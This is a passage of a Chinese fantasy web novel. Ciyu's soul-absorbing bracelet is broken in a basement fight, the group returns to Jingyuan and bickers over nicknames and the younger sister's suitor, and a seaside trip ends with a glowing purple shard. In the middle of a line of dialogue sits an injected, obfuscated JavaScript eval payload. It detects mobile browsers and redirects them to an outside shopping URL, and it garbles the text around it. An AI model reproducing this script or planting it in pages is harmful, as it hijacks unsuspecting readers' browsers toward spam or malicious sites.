词隅在地下室最深处停下。那里有张破旧的桌子,桌上摆着几样东西:一个黑色的木盒,几支蜡烛,还有一些奇怪的符号画在地上。 江淮年躲在阴影里,屏住呼吸看着。 词隅点燃蜡烛,烛光跳动,映着她面无表情的脸。 她打开木盒,从里面取出一个小瓶子,瓶子里装着暗红色的液体。 她将液体倒在手链上,嘴里念念有词。 随着她的咒语,手链上的珠子开始发光。 不再是之前的微弱蓝光,而是刺目的红光。 红光越来越亮,照亮了整个地下室。江淮年能清楚地看到,那些珠子里,有无数细小的光点在挣扎、扭动,像被困住的灵魂。 他的心脏狂跳起来。裴衍说得没错,这条手链,真的在吸收灵魂能量。 词隅的咒语越来越快,声音也越来越高亢。手链上的红光几乎要刺破黑暗。 忽然,她抬起头,看向江淮年藏身的方向,嘴角勾起一个冰冷的笑。 “既然来了,就出来吧。”她说,声音里没了平时的温柔,只剩下冰冷的嘲讽,“躲在那里,不累吗?” 江淮年心里一沉,知道自己被发现了。他深吸一口气,从阴影里走出来。 “词隅,你到底在干什么?”他问,声音尽量保持平静。 “干什么?”词隅笑了,“你不是都看到了吗?收集能量啊。” “收集能量……做什么?” “做什么?”词隅的眼神变得狂热,“当然是变强!强到没有人能再欺负我!强到我可以主宰自己的命运!” “可那些被你吸收能量的人,他们……” “他们活该!”词隅打断他,声音尖锐,“这个世界本来就是弱肉强食!他们弱,就被我吸收能量,有什么不对?” “不对!没有人有权利随意剥夺别人的生命和能量!” “幼稚。”词隅嗤笑,“江淮年,你太天真了。你以为你师父为什么教你异能?你以为那些所谓的正义异能者,手上就干净吗?他们不过是一群披着伪善外衣的掠夺者!” “我师父不是那样的人!” 词隅只是冷笑一声,不再理他。手链上的红光已经亮到极致。那些被困在珠子里的光点疯狂挣扎,发出无声的哀嚎。词隅举起手链,对准江淮年。 “你的双系异能,是我收集的最后一种能量,吸收了你的能量,我的手链就圆满了。到时候,我就能拥有超越一切的力量!” 江淮年感受到一股强大的吸力从手链传来,体内的冰火之力再次躁动。他咬牙稳住,双手同时凝聚能量。 “你想得美!” 融合球轰然射出,直扑词隅面门,但词隅只是轻轻抬手,手链上射出一道红光,轻易击碎了能量球。 “没用的。”她笑,“你的异能,对我无效。” 江淮年心里一沉。他想起沈言说过,这条手链吸收了多种异能能量,很可能已经具备了克制各种属性的能力。 怎么办?硬拼拼不过,跑又跑不掉…… 就在他心急如焚时,地下室的门被猛地踹开。 “江淮年!”陆时忆大喊,“你没事吧?” “我没事!”江淮年松了口气,“你们怎么来了?” “沈言发现你不见了,就猜到你会跟来。”裴衍说,目光落在词隅身上。 词隅看着突然出现的几个人,脸上的笑容终于消失了。她握紧手链,后退一步:“你们……都想阻止我?” “不是阻止你。”裴衍上前一步,挡在江淮年身前,“是救你。” “救我?”词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119459|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隅像是听到了天大的笑话,“我需要你们救?” “你看看你自己的样子。”沈言指着她的手链,“那东西在吞噬你的理智。再这样下去,你会被它完全控制,变成只知道掠夺的怪物。” “胡说!”词隅尖叫,“手链是我的力量!是我变强的工具!” “工具?”宋听澜摇头,“你看看那些被困在里面的灵魂。他们也曾是活生生的人,现在呢?他们只剩下痛苦和绝望。词隅,你真的想要这样的力量吗?” 词隅的手颤抖了一下。她低头看着手链,珠子里的光点还在挣扎,那些无声的哀嚎仿佛穿透了红光,直击她的灵魂。 “我……”她张了张嘴,眼神有瞬间的动摇。 但下一秒,手链上的红光暴涨,将她的眼睛也染成了红色。她的表情重新变得冰冷而狂热。 “不!这是我的力量!谁也别想夺走!” 手链爆发出恐怖的能量波动,整个地下室都在震动。墙壁开裂,灰尘簌簌落下。 那些被困在珠子里的灵魂能量被强行抽取,汇聚成一道粗大的红色光柱,朝着几人轰来。 “小心!”裴衍双手按地,一面厚重的土墙瞬间升起,挡在众人面前。 轰——! 光柱撞在土墙上,土墙剧烈震动,表面裂开无数道缝隙。 裴衍闷哼一声,嘴角溢出血丝,但墙终究没碎。 “裴衍!”江淮年冲过去扶住他。 “没事。”裴衍抹了把嘴角,“那手链的能量太强,硬拼不行。” “那怎么办?”陆时忆问,他已经凝聚了电光,但不知道该往哪打。 “找到手链的弱点。”时聿说,他的影子已经悄然蔓延到词隅脚下,但手链的红光像一层护罩,将词隅保护得严严实实。 “弱点……”沈言盯着那条手链,忽然说,“你们看,珠子的连接处!” 众人顺着他指的方向看去。在红光最盛的珠串连接处,有一道极细的裂纹。裂纹很旧,像是手链本身就有缺陷。 “那就是弱点,”沈言眼睛一亮,“攻击那里!” 只是手链的红光护罩太强,普通攻击根本破不开。而且词隅不会站着让他们打。 “我来吸引她的注意力。”江淮年忽然说。 “你疯了?”沈言瞪他。 “我没疯。”江淮年深吸一口气,“她最想要我的异能。如果我全力释放异能,她一定会集中精神吸收。那时候,她的防御会露出破绽。” “太冒险了。”裴衍反对。 “这是唯一的机会。”江淮年看向众人,“相信我。” 几人交换了一个眼神,最后都点了点头。 “小心。”沈言说。 “我会的。” 江淮年上前一步,面对词隅。 他双手平举,闭上眼睛,开始全力催动体内的冰火之力。 两股截然不同的能量在他体内奔涌,然后破体而出。 冰晶与火焰同时在他掌心凝聚,越聚越多,越聚越强。 空气因为极寒与极热而扭曲,发出噼啪的爆裂声。 词隅的眼睛死死盯着江淮年掌心的能量,眼神里的贪婪几乎要溢出来。手链的红光疯狂闪烁,吸力开到最大,试图将那冰火能量吞噬。 就是现在! “沈言!” 沈言早已蓄势待发。在词隅的注意力完全被江淮年吸引的瞬间,他动了。 他没用异能。 而是拔出了腰间的短剑。 剑光一闪。 词隅察觉到危险,想要躲闪,但已经来不及了。短剑精准地刺中了手链连接处的那道裂纹。 咔嚓——! 清脆的碎裂声。 手链应声而断,珠子四散崩飞。 红光骤然熄灭,那些被困在里面的光点,有的化作青烟消散,有的则像找到了归宿,朝着某个方向飘去。 词隅发出一声凄厉的尖叫,整个人瘫软在地。她的眼睛恢复了原本的颜色,但眼神空洞,像失去了灵魂。 地下室里恢复了寂静。只有蜡烛还在跳动,映着满地狼藉。 江淮年脱力地瘫坐在地,大口喘气。裴衍立刻冲过来扶住他,掌心的光芒涌入他体内,帮他稳住紊乱的能量。 江妤的治愈水雾也笼罩过来,温暖的力量滋润着干涸的经脉。 “没事吧?”裴衍问。 “死不了。”江淮年扯了扯嘴角,“就是……有点累。” 沈言走到词隅面前,居高临下地看着她。 词隅已经奄奄一息,手链碎裂的反噬让她经脉尽断,异能全失。 “为什么?”沈言问,“为什么要做这种事?” 词隅艰难地抬起头,脸上满是血污:“为什么……” 她没说完,头一歪,昏死过去。 宋听澜仔细检查了词隅的情况,叹了口气:“废了。就算活下来,也是个普通人了。” “她活该。”陆时忆恨恨地说,“害了那么多人,死一百次都不够。” 时聿从阴影里现身,手里拿着那条碎裂的手链:“这东西怎么处理?” “带回去给师父看看吧。他应该知道怎么处理。” 众人点头。 裴衍背起江淮年,沈言扛起昏迷的词隅,一行人沉默地走出地下室。 走廊里空无一人,刚才那么大的动静,居然没人过来查看,看来词隅确实提前做了手脚,把地下室彻底隔离了。 回到房间,把江淮年放在床上,江妤立刻开始给他治疗。 裴衍坐在床边,看着江淮年苍白的脸,眉头皱得死紧。 “我没事。”江淮年说,“就是能量消耗太大,休息几天就好了。” “下次长点记性。别什么人都信。” 江淮年苦笑:“我知道了。” 沈言把词隅扔在角落,用藤蔓捆了个结实。宋听澜给她喂了颗药,保她不死,但也没好到哪去。 “现在怎么办?”陆时忆问,“路还没通,我们带着这么个玩意儿,怎么回静园?” “等路通。师父那边,我会打电话说明情况。” “也只能这样了。”宋听澜点头。 窗外,雨停了。 江淮年躺在床上,想起词隅甜美的笑容,想起她说话时温柔的语气,想起她约他去看瀑布时亮晶晶的眼睛。 都是假的。那些笑容,那些温柔,那些亮晶晶的眼神,都是为了骗他,为了他体内的能量。 他心里有点闷,有点疼,但更多的是一种后怕。如果今天裴衍他们没及时赶到,如果他被抽干了能量,如果词隅的阴谋得逞…… 他不敢想下去。 “别想了。”裴衍忽然开口,声音难得的温和,“睡吧,我们都在。” 江淮年看向他,裴衍也看着他。那双总是半眯的眼睛此刻睁得很开,里面有一种江淮年看不懂的情绪。 “嗯。” 江淮年应了一声,闭上眼睛。 也许明天,天就会晴。而他们,也该回家了。 17. 依旧小年糕 山路总算抢修通了。山庄老板挨个房间通知,说下午就能发车送客人下山。 静园几人收拾行李退了房,在门口等车。 词隅被宋听澜喂了安神的药,一路昏睡不醒。裴衍扛麻袋似的把她扔进后备箱,动作一点不温柔。 陆时忆凑过去看,啧啧两声:“可惜了这张脸,心是黑的。” “你心疼?”沈言斜眼看他。 “我心疼个屁!”陆时忆立刻跳开,“我是说她活该!害了那么多人,没死算她走运!” 江淮年坐在靠窗的位置,看着窗外渐渐后退的山景,没说话。 他脸色还有点白,那是能量透支的后遗症。江妤坐在他旁边,时不时看他一眼,眼里是藏不住的担心。 “哥,你还好吧?”她小声问。 “没事。”江淮年扯了扯嘴角,“就是有点累,睡一觉就好了。” “回去让宋师兄给你好好调理调理。你这几天都没怎么吃东西。” “知道了,小管家婆。” 车开得慢,山路崎岖,颠得人晕乎乎的。 裴衍坐在江淮年后面一排,闭目养神,但江淮年能感觉到,他的视线时不时落在自己背上。那目光有点沉,让他不太自在。 沈言坐在副驾驶,跟司机有一搭没一搭地聊着天。 陆时忆在后排叽叽喳喳,说回去要吃这个吃那个,要把这几天缺的油水都补回来。时聿依旧沉默,宋听澜则拿着个小本子,不知道在记什么。 下午三点多,车终于开到静园门口。 萧予已经等在院子里了,看见他们下车,目光扫过众人,最后落在江淮年身上。 “师父。”裴衍打了声招呼,把后备箱的词隅拖出来。 萧予看了词隅一眼,点点头:“放西厢房吧,我看看。” 裴衍依言把词隅扛进西厢房。萧予跟进去,过了十几分钟才出来,脸色有点凝重。 “废了。异能全失,经脉尽断,以后就是个普通人了。而且……”他顿了顿,“手链的反噬伤到了根本,她活不长,最多三五年。” “先进屋吧。饭已经做好了,吃完再说。” 静园的饭菜还是老样子,朴素但可口。 宋听澜炖了鸡汤,特意给江淮年盛了一大碗,里面加了补气血的药材。江淮年没什么胃口,但不想拂了大家的好意,勉强喝了半碗。 饭后,萧予把所有人叫到书房,详细问了温泉山庄的事。 江淮年一五一十说了,包括词隅怎么接近他,怎么骗他,最后怎么暴露目的。说到词隅要吸收他能量的时候,他声音有点抖。 萧予听完,沉默了很久。 “这事不怪你。你还小,没经历过这些,被人骗是正常的。重要的是,你记住了教训,而且你的伙伴们及时救了你。” 江淮年点点头,心里还是闷闷的。 “那条手链呢?”萧予问。 时聿从怀里掏出个布包,里面是手链的碎片。萧予接过,仔细看了看,眉头越皱越紧。 “这东西……不简单。”他说,“收集灵魂能量的手法很古老,而且需要特殊的媒介。词隅背后,可能还有人。” “还有人?”陆时忆瞪大眼睛,“她都那么疯了,还有人比她更疯?” “不好说。”萧予把碎片收好,“这事我会查。你们先好好休息,这段时间别乱跑。” 众人应了,各自回房。 江淮年回到自己房间,看着熟悉的陈设,心里终于踏实了些。还是家里好,虽然这个“家”有点简陋,但至少安全,至少……有这群人在。 他洗了澡,换了衣服,倒在床上。身体很累,但脑子很清醒。词隅那张甜美的脸,还有最后扭曲疯狂的表情,在眼前交替浮现。 他翻了个身,把脸埋进枕头里。 敲门声响起。很轻,三下。 “谁?”江淮年问。 “我。”是裴衍的声音。 江淮年爬起来开门。裴衍站在门外,手里端着碗汤。 “宋听澜让我送来的。安神汤,喝了睡得好点。” “谢谢。”江淮年接过,一口气喝了。汤有点苦,但喝完胃里暖暖的。 裴衍没走,靠在门框上看着他。 “还有事?”江淮年问。 “没事。”裴衍说,“就是看看你。” “我有什么好看的。” “怕你做噩梦。” 江淮年一愣,随即笑了:“我又不是小孩。” “跟小孩也差不多,被人骗得团团转。” “……你能不提这茬吗?” “不能。”裴衍转身,“睡了,有事叫我。” “叫你干嘛?你又不会治噩梦。” “我会揍醒你。” 江淮年:“……” 裴衍走了,回自己房间。 江淮年关上门,躺回床上。 这回他闭上眼,很快就睡着了。一夜无梦。 接下来的几天,静园恢复了往日的节奏。 训练、吃饭、睡觉,偶尔斗嘴。 词隅的事像一场噩梦,渐渐被压在记忆深处。 陆时忆又开始围着江妤转。 他好像完全忘了温泉山庄的惊险,又变回那个没心没肺的陆时忆。 每天“江妤妹妹”长“江妤妹妹”短,听得江淮年耳朵起茧。 “江妤妹妹,今天太阳好,咱们去镇上逛逛吧?我听说新开了家甜品店,可好吃了!” “不去,我要训练。” “训练完了去嘛!我请你!” “不去。” “那明天?明天也行!” “陆时忆你烦不烦?” 这样的对话每天都要上演好几遍。 江淮年一开始还管管,后来就懒得管了。反正江妤自己有主意,陆时忆也翻不出什么浪。 直到某天吃晚饭,陆时忆又在那儿叨叨,说镇上那家甜品店的草莓蛋糕有多好吃,他排了半小时队才买到。 江妤难得没怼他,说了句“下次给我带一块”。 陆时忆眼睛一亮:“真的?我给你带!” “嗯。”江妤低头吃饭,耳根子有点红。 江淮年筷子一顿,抬头看向江妤,又看向陆时忆。陆时忆正咧着嘴笑,那笑容太刺眼了。 不对劲。 饭后,江淮年把江妤拉到一边,压低声音问:“你跟陆时忆……怎么回事?” “什么怎么回事?” “他请你吃蛋糕,你还答应了。”江淮年眯起眼,“以前你不是理都不理他吗?” “他烦是烦,但蛋糕没错。而且他排了半小时队,怪可怜的。” “可怜?”江淮年提高了音量,“他可怜个屁!他就是想讨好你!” “我知道啊,我又不傻。” “那你还……” “哥。”江妤打断他,“我已经十六了,不是小孩了。我知道自己在做什么。” 江淮年张了张嘴,想说什么,但看着妹妹认真的眼神,又把话咽了回去。 是啊,江妤十六了,不是那个跟在他身后要糖吃的小丫头了。她有自己的想法,有自己的判断。 但他心里还是不爽。 非常不爽。 就像自己精心养了十六年的白菜,突然有头猪在旁边转悠,还试图拱一拱。 接下来的几天,江淮年对陆时忆的态度急转直下。 以前只是偶尔怼两句,现在是全方位无死角地找茬。 训练时—— “陆时忆你这电光准头太差了,歪到姥姥家去了!” 吃饭时—— “陆时忆你吃那么多,猪都没你能吃!” 闲聊时—— “陆时忆你话怎么这么多,能不能安静会儿?” 陆时忆被怼得莫名其妙,找沈言诉苦:“江淮年是不是吃错药了?我招他惹他了?” 沈言正擦他的匕首,头也不抬:“你心里没点数?” “我有什么数?”陆时忆委屈,“我最近可老实了,没惹他啊!” “你是没惹他,”沈言把匕首插回鞘里,“你惹他妹妹了。” 陆时忆一愣,随即反应过来,脸有点红:“我、我没有……” “有没有你自己清楚。”沈言站起身,拍了拍他的肩,“自求多福吧,陆十一。” “等等,你叫我什么?”陆时忆瞪大眼。 “陆十一啊。”沈言理所当然地说,“时忆,十一,多顺口。” “这什么破外号!”陆时忆抗议。 抗议无效。 从那天起,“陆十一”这个外号在静园传开了。 先是沈言叫,然后是江淮年。 叫的最起劲的也是江淮年。 他巴不得有个新名字来气陆时忆。 最后连时聿都跟着叫,虽然他还是那副面无表情的样子。 最要命的是,江妤偶尔也会叫。 虽然她叫的时候声音很小,脸很红,但确实叫了。 陆时忆一开始还挣扎,后来就放弃了。反正反抗也没用,爱叫叫吧。 但他很快发现,江淮年对他的敌意并没有因为外号而减轻,反而变本加厉。 尤其是他跟江妤说话的时候,江淮年那眼神,跟刀子似的。 这天下午,陆时忆在院子里教江妤控制精准度,他的理论知识还算扎实。两人挨得很近,陆时忆的手虚虚地环在江妤手腕上方,教她怎么调整能量输出。 江淮年训练完回来,正好看见这一幕。 他脸一黑,大步走过去,一把将江妤拉到身后。 “干嘛呢?”他瞪着陆时忆。 “教她控制能量啊。” “用得着你教?”江淮年说,“宋师兄不会教?沈言不会教?非得你教?” “我……”陆时忆语塞。 “哥!”江妤拉了拉江淮年的袖子,“是我让十一教的。” “……十一?”江淮年挑眉,“叫得挺亲热啊。” 江妤脸一红,不说话了。 陆时忆看着江淮年那副护犊子的样子,忽然福至心灵,明白了什么。 他挠挠头,有点尴尬:“那什么,江淮年,你是不是……” “我不是,我没有,你别瞎说。”江淮年打断他,拉着江妤就走,“回家吃饭!” 陆时忆站在原地,看着兄妹俩的背影,摸了摸鼻子。 行吧,未来大舅哥不好惹,他认了。 晚饭时,气氛有点微妙。 江淮年坐在江妤和陆时忆中间,硬是把两人隔开。 江妤几次想跟陆时忆说话,都被江淮年打断。 “江妤,吃菜。” “江妤,喝汤。” “江妤,别光吃饭,吃点肉。” 江妤已经忍无可忍了:“哥,我不是三岁小孩,我自己会吃!” “你会吃你还这么瘦?”江淮年理直气壮,“多吃点,长身体。” 陆时忆在旁边想笑又不敢笑,憋得很辛苦。 沈言在桌子底下踢了他一脚,用眼神示意他收敛点。 裴衍坐在江淮年对面,慢悠悠地吃着饭,目光在江淮年和陆时忆之间扫了个来回,然后垂下眼,继续吃饭。 饭后,江淮年回房间,裴衍跟了进来。 “有事?”江淮年问。 “没事。”裴衍说,在椅子上坐下,“就是觉得,你对陆时忆是不是太凶了?” “我凶?”江淮年瞪眼,“我还没揍他呢!” “他做什么了你要揍他?” “他……”江淮年语塞。 他好像也没做什么出格的事,就是教江妤训练,给江妤带蛋糕,跟江妤说说话。 可他就是不爽。非常不爽。 “江妤十六了,她有自己的想法,有自己的朋友。你不能一直把她当小孩。” “我没把她当小孩。”江淮年嘴硬,“我就是……就是觉得陆时忆不靠谱。” “陆时忆虽然话多,但人不坏。” 江淮年不说话了。 他其实也知道陆时忆人不坏,对江妤也好。 但他就是过不去心里那道坎。 好像昨天江妤还是个跟在他身后要糖吃的小丫头,今天就成了会被别的男生惦记的少女。 太快了。 他还没准备好。 “行了,你自己想想吧。”裴衍站起身,走到门口又回头,“对了,有件事。” “什么?” “小年糕……是江妤先叫的?” 江淮年一愣,随即炸毛:“你怎么知道?!” “陆时忆说的。”裴衍嘴角微扬,“他说江妤私下叫你小年糕,很可爱。” “可爱个屁!”江淮年脸都红了,“那是我妹妹叫的!别人不许叫!” “哦。”裴衍点点头,拉开门走了。 第二天,江淮年发现事情不对劲了。 早上训练,沈言走过来,拍拍他的肩:“小年糕,今天练什么?” 江淮年:“……你叫谁?” “叫你啊。”沈言一脸无辜,“小年糕,多好听。” “不准叫!” “为什么?江妤能叫,陆十一能叫,我不能叫?” “谁告诉你陆十一能叫的?!” “陆十一自己说的啊。他说他偶尔犯贱的时候会叫。” 江淮年磨牙。 陆时忆,你等着。 中午吃饭,宋听澜笑眯眯地给他盛汤:“小年糕,多喝点,补身体。” 江淮年:“……” 下午,时聿路过他房间,敲了敲门:“小年糕,师父找你。” 江淮年忍无可忍,冲出去抓住时聿的领子:“谁让你这么叫的?!” “陆十一。”时聿面不改色。 “陆十一!我跟你没完!” 江淮年满院子找陆时忆,最后在厨房逮到他。陆时忆正在偷吃宋听澜刚烤好的饼干,看见江淮年杀气腾腾地冲进来,饼干差点噎在喉咙里。 “咳咳……江淮年你干嘛?” “你说呢?”江淮年揪住他的衣领,“小年糕这个外号,是不是你传出去的? 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但很快他就发现,裴衍不叫,不代表他不在意。 有次沈言又叫他小年糕,裴衍正好在旁边。裴衍没说话,只是看了沈言一眼。那眼神很淡,但沈言立刻闭嘴了,摸摸鼻子走了。 江淮年觉得奇怪,但也没多想。他现在满脑子都是怎么让陆时忆离江妤远点。 机会很快就来了。 这天下午,江妤在院子里练水系异能。她最近进步很快,已经能凝出水箭,虽然准头还不行。陆时忆在旁边指导,手把手地教。 江淮年训练完回来,看见两人又凑在一起,脸一黑,走过去。 “陆十一。”他叫。 陆时忆吓了一跳:“干、干嘛?” “陪我练练。我刚琢磨了个新招,缺个陪练。” “我正教江妤呢……” “江妤有我教。”江淮年把江妤拉到身后,“你,过来。” 陆时忆苦着脸,跟着江淮年去了训练场。 然后被江淮年用各种刁钻的角度、狠辣的招式,虐了整整一个时辰。 等训练结束,陆时忆瘫在地上,爬都爬不起来。 “江淮年……”他有气无力地说,“我哪儿得罪你了,你直说……” “你没得罪我。”江淮年蹲下来,看着他,“我就是看你不顺眼。” 陆时忆:“……” “以后离江妤远点。”江淮年说,“不然下次还虐你。” 陆时忆不说话了。他看着江淮年,看了很久,然后叹了口气。 “江淮年,”他说,“我是认真的。” “什么认真的?” “对江妤。”陆时忆坐起来,表情难得认真,“我不是玩玩,我是真的喜欢她。” “她才十六。”他说。 “我知道。我可以等。等她成年,等她长大。在这之前,我不会做什么出格的事。但你不能阻止我喜欢她。” 江淮年张了张嘴,想说什么,但看着陆时忆认真的眼神,又把话咽了回去。 他想起裴衍说的,江妤有自己的想法,有自己的朋友。他不能一直把她当小孩。 “……随你。”他最后说,站起身,“但你要是敢欺负她,我饶不了你。” “我保证不会。”陆时忆立刻说,“我要是欺负她,不用你动手,我自己了断。” 江淮年看了他一眼,转身走了。走到训练场门口,又回头。 “陆十一。” “嗯?” “……没事。”江淮年哼了一声,走了。 回到院子,江妤还在练水箭。 看见他回来,跑过来问:“哥,陆师兄呢?” “训练场躺着呢。”江淮年说。 “你打他了?” “切磋而已。”江淮年面不改色。 江妤盯着他看了几秒,忽然笑了。 “笑什么?”江淮年莫名其妙。 “没什么。”江妤说,“就是觉得,有哥哥真好。” 江淮年一愣,随即揉了揉她的头发:“傻丫头。” “不过哥,”江妤又说,“我的事,你能不能别管那么严?” “我不管谁管?” “我自己能管。我知道自己在做什么,也知道陆师兄是什么样的人。你放心,我不会让自己吃亏的。” 江淮年看着妹妹,十六岁的少女,眼神清澈而坚定。 他忽然觉得,江妤真的长大了。不再是那个需要他保护的小丫头,而是一个有主见、有想法的姑娘。 “行吧。”他叹了口气,“我尽量。” “谢谢哥。”江妤笑了,眼睛弯弯的。 晚饭时,陆时忆一瘸一拐地来了,但精神很好,一直咧着嘴笑。 江妤看了他一眼,没说话,但耳朵有点红。 沈言凑到江淮年耳边,小声说:“妥协了?” “要你管。”江淮年瞪他。 “我就说嘛,陆十一那傻子……” 江淮年没接话,低头吃饭。但心里那点不爽,好像淡了些。 裴衍坐在他对面,慢悠悠地吃着饭。吃到一半,忽然开口:“江淮年。” “嗯?” “明天陪我练练。我也有新招要试。” 江淮年一愣:“什么新招?” “到时候你就知道了。” 第二天,江淮年才知道裴衍的“新招”是什么。 是变着花样虐他。 他不主动攻击,而是各种控制类技能轮番上阵,把他困得死死的,动弹不得。 “裴石头你干嘛!你故意的是不是!”江淮年被困在土牢里,气得跳脚。 “训练。” “你太弱了,连词隅那种货色都能骗到你,得加强训练。” “那跟训练有什么关系?!” “有关系。你太容易相信别人,得改。” 江淮年瞪他:“那也和这个无关!” 裴衍没说话,就那样看着他。 两人就这样干瞪眼。最后还是江淮年先妥协了。 “……那你放我出来。” 裴衍撤了土牢。江淮年爬出来,拍拍身上的土。 “再来。”他说。 裴衍看了他一眼,点头。 两人又练了一个时辰。 这次江淮年学乖了,不再冒进,稳扎稳打。虽然还是打不过裴衍,但至少没被虐得那么惨。 训练结束,两人瘫在地上喘气。 江淮年缓了缓,转头看向裴衍。 裴衍也转过头,两人目光对上。 江淮年忽然觉得心跳有点快。他移开视线,站起来。 “回去了,一身汗。” “嗯。” 两人一前一后回了院子。 夕阳把他们的影子拉得很长,渐渐重叠在一起。 18. 意外“访客” 江淮年一直记着江妤想去看海。 这事儿他记了好多年,从父母还在世时就记着。 那时候江妤还小,趴在窗台上看雨,说哥我想去看海。 江淮年拍胸脯保证,说等哥长大了,赚钱了,就带你去最好的海边。 后来父母去世,这个承诺被生活的重压埋在了记忆深处,但从来没忘。 江淮年回神,正好现今没什么事,不如就带江妤去吧。 想着,他出门去院子里。江妤正在树下看书,江淮年走过去问:“小妤,想不想去海边?” 江妤抬起头,眼睛亮了一下,但很快又黯淡下去:“想是想,但……” “但什么?” “太远了。而且现在外面不安全,师父不会让我们去的。” “师父说了不算。”江淮年在她旁边坐下,“我们偷偷去。” “啊?” “叫上裴衍他们,一起去。”江淮年越想越觉得可行,“就说去附近镇子采购,然后拐个弯去海边。快去快回,两天就够。” 江妤犹豫了。她确实很想看海,从小到大都想。但她也知道,江淮年这个计划有点冒险。 “被师父发现了怎么办?” “发现了就认罚呗。”江淮年满不在乎,“反正也不是第一次挨骂了。” 江妤看了他一会儿,然后笑了:“好。” 于是江淮年开始张罗。他先找了裴衍,裴衍一开始是拒绝的。 “麻烦,不想动。” 但江淮年搬出江妤,说江妤从小就想看海,这次好不容易有机会。裴衍沉默了几秒,点头了。 沈言那边更简单,江淮年一说他就同意了:“行啊,正好我也没见过海。” 陆时忆听说江妤要去,立刻举手:“我也去我也去!我保护江妤妹妹!” 时聿和宋听澜也没意见,反正训练了这么久,出去放松放松也好。 几个人商量好,第二天一早出发。 跟萧予报备的时候,他们只说去附近镇子采购物资,萧予没多想,嘱咐了几句注意安全,就放行了。 从静园到最近的海岸,开车要四个小时。 陆时忆弄了辆车,几个人加上行李,刚好坐下。江淮年坐副驾驶,江妤、沈言、宋听澜坐中间,裴衍和时聿坐最后。 裴衍一上车就闭眼睡觉,时聿低头玩手机,信号时有时无。 车子开出山区,视野渐渐开阔。 天空很蓝,云朵像棉花糖一样飘着。 江妤一直趴在窗边看外面,眼睛亮晶晶的。 沈言在跟宋听澜讨论混合系的进阶用法,陆时忆一边开车一边哼歌,跑调跑得江淮年想捂耳朵。 中午在路边的小餐馆吃了饭,下午继续赶路。越靠近海边,空气里的咸湿味越明显。江妤很兴奋,时不时问“还有多远”“能看到海了吗”。 下午三点多,车子终于开到了海边。人不多,沙子很细,海水是清澈的蓝绿色,远处海天一线,分不清哪里是天,哪里是海。 “到了!”陆时忆停好车,第一个跳下去。 江妤也下了车,站在沙滩上,看着眼前一望无际的大海,半天说不出话。风吹起她的淡蓝色头发,裙摆轻轻摆动。 “好看吗?”江淮年走到她身边。 “……好看。”江妤轻声说,眼眶有点红,“比我想象的还好看。” “傻丫头,哭什么。”江淮年揉了揉她的头发。 沈言他们也下了车。沈言脱了鞋,赤脚踩在沙滩上,沙子很细,很软,痒痒的。他蹲下身,掬起一捧海水,海水从指缝漏下去,在阳光下闪闪发光。 “这就是海啊。”他喃喃。 裴衍也下来了,站在离海水稍远的地方,双手插在口袋里,看着远处。时聿不知从哪儿摸出个相机,开始拍照。宋听澜在收集沙滩上的贝壳和海草,说要拿回去研究。 几人在海边玩了一下午。江妤终于实现了看海的梦想,兴奋得像个小孩子,虽然她本来也算小孩。 她跑来跑去,捡贝壳,踩浪花,还试图堆沙堡,堆得歪歪扭扭。 陆时忆全程跟着她,帮她提鞋子,给她拍照,偶尔被浪打湿裤脚也不在意。 沈言和江淮年在比赛打水漂。沈言技术不错,石头能在海面上跳五六下。江淮年不服,非要赢他,结果每次都沉底。两人较上劲了,捡了一堆石头,比到太阳西斜。 裴衍找了个礁石坐下,看着他们闹。时聿拍完照也坐下来,两人有一搭没一搭地聊天。宋听澜还在捡贝壳,已经捡了小半袋。 傍晚,夕阳把海面染成金色。 他们在海边生了堆火,烤带来的食物。陆时忆不知从哪儿弄来几条鱼,说是刚才在礁石缝里抓的,虽然小,但很新鲜。宋听澜带了调味料,撒上去,烤得滋滋冒油,香气扑鼻。 “陆十一,没想到你还有这手艺。”沈言咬了口烤鱼,味道不错。 “那当然。”陆时忆得意,“我可是上得厅堂下得厨房的好男人。” “要点脸。”江淮年踹他。 江妤坐在火堆边,小口小口吃着烤鱼,眼睛还盯着海面。夕阳完全沉下去了,天色暗下来,海浪声在夜色里显得格外清晰。 “哥。”她忽然说。 “嗯?” “谢谢。” 江淮年愣了一下,随即笑了:“傻不傻。” 吃完东西,火堆还燃着。陆时忆提议玩点什么,但大家累了一天,都不想动。 于是几人围坐在火堆边,有一搭没一搭地聊天。聊静园,聊训练,聊以后想做什么。 “我想开个甜品店。”江妤说,“卖蛋糕,卖奶茶,卖一切甜的东西。” “我帮你。”陆时忆立刻说,“我当保安,谁敢闹事我电他。” “你还是算了吧。”沈言嗤笑,“别把客人电跑了。” “沈言你!” 江淮年听着想笑,在这待着,那些烦恼的事,好像都变得很遥远了。 夜深了,篝火渐渐熄灭。 几个人收拾了垃圾,回民宿休息。 江妤兴奋得睡不着,拉着江淮年说话,说海有多好看,沙子有多软,贝壳有多漂亮。 江淮年听着,偶尔应两声,心里软成一片。 第二天一早,几个人又去了海滩。 这次是来捡贝壳的。江妤提着个小桶,沿着海岸线慢慢走,看见好看的贝壳就捡起来,放在桶里。陆时忆跟在她旁边,帮她捡那些够不到的。 沈言在礁石区翻找,说要找那种罕见的紫贝壳。 裴衍还是老样子,找了个地方坐下,看他们忙活。宋听澜和时聿在浅水区摸海螺,说要带回去泡药酒。 江淮年没跟着江妤,自己在沙滩上闲逛。走着走着,他看见不远处有个东西在阳光下反光。走过去一看,是个巴掌大的碎片,像是从什么东西上掉下来的,边缘不规则,表面是深紫色的,质地非金非玉,摸上去冰凉。 “这什么?”他捡起来,翻来覆去地看。 碎片忽然颤动了一下。很轻微,但江淮年感觉到了。 他皱眉,想仔细看看,碎片却忽然爆发出刺目的紫光! “我靠!”江淮年手一松,碎片掉在沙滩上。紫光越来越亮,像个小太阳。其他人也注意到了,都围了过来。 “江淮年,你捡了什么?”沈言问。 “不知道,就这个碎片。”江淮年指着地上的碎片。 